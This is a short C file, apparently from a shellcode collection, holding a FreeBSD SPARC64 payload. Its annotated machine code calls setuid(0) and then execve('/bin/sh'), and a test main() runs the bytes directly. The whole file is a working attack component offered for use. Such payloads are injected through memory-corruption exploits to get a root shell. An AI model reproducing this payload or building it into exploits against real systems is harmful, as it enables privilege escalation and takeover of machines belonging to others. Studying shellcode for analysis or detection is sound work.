/*
 *      FreeBSD sprac64 setuid(0) + execve() of /bin/sh  shellcode
 *      Karol Wiêsek <appelast@drumnbass.art.pl>
 */

char sc[]=
        /* setuid(0); */
        "\x82\x10\x20\x17"      // mov  0x17, %g1
        "\x90\x22\x40\x09"      // sub  %o1, %o1, %o0
        "\x91\xd0\x30\x41"      // ta  %xcc, -4031

        /* execve("/bin/sh", "/bin/sh", NULL); */
        "\x2d\x0b\xd8\x9a"      // sethi  %hi(0x2f626800), %l6
        "\xac\x15\xa1\x6e"      // or  %l6, 0x16e, %l6
        "\x2f\x0b\xdc\xda"      // sethi  %hi(0x2f736800), %l7
        "\xec\x3b\xbf\xff"      // std  %l6, [ %sp + -1 ]
        "\x90\x03\xbf\xff"      // add  %sp, -1, %o0
        "\xd0\x73\xa0\x07"      // stx  %o0, [ %sp + 7 ]
        "\xc0\x73\xa0\x0f"      // clrx  [ %sp + 0xf ]
        "\x92\x03\xa0\x07"      // add  %sp, 7, %o1
        "\x94\x22\x40\x09"      // sub  %o1, %o1, %o2
        "\x82\x10\x20\x3b"      // mov  0x3b, %g1
        "\x91\xd0\x30\x41"      // ta  %xcc, -4031
;

int main()
        {
        void(*shellcode)() = (void*)sc;
        shellcode();
        return 0;
        }


